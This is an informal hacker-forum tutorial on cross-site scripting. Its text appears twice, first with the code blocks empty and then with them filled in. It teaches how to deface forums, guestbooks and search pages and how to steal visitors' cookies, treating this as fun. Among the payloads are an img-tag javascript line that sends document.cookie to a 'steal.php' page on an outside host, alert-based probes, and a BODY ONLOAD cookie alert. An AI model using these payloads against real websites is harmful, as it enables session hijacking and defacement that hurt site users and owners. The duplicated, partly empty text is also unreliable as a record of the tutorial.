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Title: "Cross Site Scripting Tutorial [XSS]"
Author: eLLuSioNisT
---------------------------------------------------------------------------------
What is Cross Site Scripting:
XSS Stands for Cross Site Scripting, xss is a vulnerability that is
normal found
in a web app. XSS allows the user to inject malicious codes such as
HTML and
Java script. XSS can be used to steal cookies, make phishing pages and
just having some fun with the website.
What is A cookie:
A cookie is a text-only string that gets entered into the memory of
your browser.
This value of a variable that a website sets. If the lifetime of this
value is set
to be longer than the time you spend at that site, then this string
is saved to file for future reference.
What can XSS do now days?:
Cross Site Scripting is used commonly now days in the cyber
world. XSS can take down most websites that are up to date,
Cross Site Scripting can steal cookies from websites/forums.
Make pop ups, appear were there not suppose to "search bars"
etc. Or you can even do some very malicious codes such as
redirect the website to another one. The question is, is your
website safe?
Hacking forums/guest books with XSS:
Forum Hacking: Now in order to defaced or even attempt
to hack a forum. The forum must have HTML enabled, so you can
enter some malicious codes. If the forum does have HTML enabled
then you can enter codes such as;
QUOTE:
If the forum allows the imagen tags then you can use this tag to
steal peoples cookies.
QUOTE:
Now to get to guest book hacking when your posting on the guest book
it must also be vulnerable. Meaning html must be enabled, to see if html
is enabled put these tags in your post hello world and if your
text comes back bold. Then html is enabled now try doing other techniques
you can also put some java script inside the html and see if that works.
And if it does or if it doesn't you can still deface the guest book
with writing
up some cool html codes that take up the whole guest book page.
Defacing Websites with Cross Site Scripting:
As many of you know Cross Site Scripting is used alot now days to exploit
websites and forums.
Mostly search functions etc. Now some of the common XSS'es now days
are within the search bars for websites. To make a box pop
up saying what every you put in the script. Some XSS codes are;
Quote:
Now how can I deface a website with just making 1 little pop up on
the search bar page? You can redirect the site to your website or your
friends or you can steel cookies. Make a html defacement page and put
the whole code
in your script. You can do many things, with java script on a vulnerable
website.
Conclusion:
We'll I hope you guy's liked this introduction tutorial to what XSS
(" Cross Site Scripting ") can do. I will be making more advance tutorials
in the near future. So I hope this tutorial taught a few people what XSS
can do and how fun it is. Keep your sites secure and enjoy!
Title: "Cross Site Scripting Tutorial [XSS]"
Author: eLLuSioNisT
---------------------------------------------------------------------------------
What is Cross Site Scripting:
XSS Stands for Cross Site Scripting, xss is a vulnerability that is
normal found
in a web app. XSS allows the user to inject malicious codes such as
HTML and
Java script. XSS can be used to steal cookies, make phishing pages and
just having some fun with the website.
What is A cookie:
A cookie is a text-only string that gets entered into the memory of
your browser.
This value of a variable that a website sets. If the lifetime of this
value is set
to be longer than the time you spend at that site, then this string
is saved to file for future reference.
What can XSS do now days?:
Cross Site Scripting is used commonly now days in the cyber
world. XSS can take down most websites that are up to date,
Cross Site Scripting can steal cookies from websites/forums.
Make pop ups, appear were there not suppose to "search bars"
etc. Or you can even do some very malicious codes such as
redirect the website to another one. The question is, is your
website safe?
Hacking forums/guest books with XSS:
Forum Hacking: Now in order to defaced or even attempt
to hack a forum. The forum must have HTML enabled, so you can
enter some malicious codes. If the forum does have HTML enabled
then you can enter codes such as;
QUOTE:
<html>
<head><title>Enjoy the xss tutorial TD </title></head>
<body>
[img]javascript:alert('Defaced By:')[/img]
</body>
</html>
<head><title>Enjoy the xss tutorial TD </title></head>
<body>
[img]javascript:alert('Defaced By:')[/img]
</body>
</html>
If the forum allows the imagen tags then you can use this tag to
steal peoples cookies.
QUOTE:
[img]javascript:window.location='http://www.url.com/steal.php?account='+document.cookie[/img]
Now to get to guest book hacking when your posting on the guest book
it must also be vulnerable. Meaning html must be enabled, to see if html
is enabled put these tags in your post hello world and if your
text comes back bold. Then html is enabled now try doing other techniques
you can also put some java script inside the html and see if that works.
And if it does or if it doesn't you can still deface the guest book
with writing
up some cool html codes that take up the whole guest book page.
Defacing Websites with Cross Site Scripting:
As many of you know Cross Site Scripting is used alot now days to exploit
websites and forums.
Mostly search functions etc. Now some of the common XSS'es now days
are within the search bars for websites. To make a box pop
up saying what every you put in the script. Some XSS codes are;
Quote:
<script>alert("NurBo`")</script>
<BODY ONLOAD=alert(document.cookie)>
"><script>alert(NurBo`);</script>
<script>window.document.write("<input type='file'>");</script>
NurBo`
<BODY ONLOAD=alert(document.cookie)>
"><script>alert(NurBo`);</script>
<script>window.document.write("<input type='file'>");</script>
NurBo`
Now how can I deface a website with just making 1 little pop up on
the search bar page? You can redirect the site to your website or your
friends or you can steel cookies. Make a html defacement page and put
the whole code
in your script. You can do many things, with java script on a vulnerable
website.
Conclusion:
We'll I hope you guy's liked this introduction tutorial to what XSS
(" Cross Site Scripting ") can do. I will be making more advance tutorials
in the near future. So I hope this tutorial taught a few people what XSS
can do and how fun it is. Keep your sites secure and enjoy!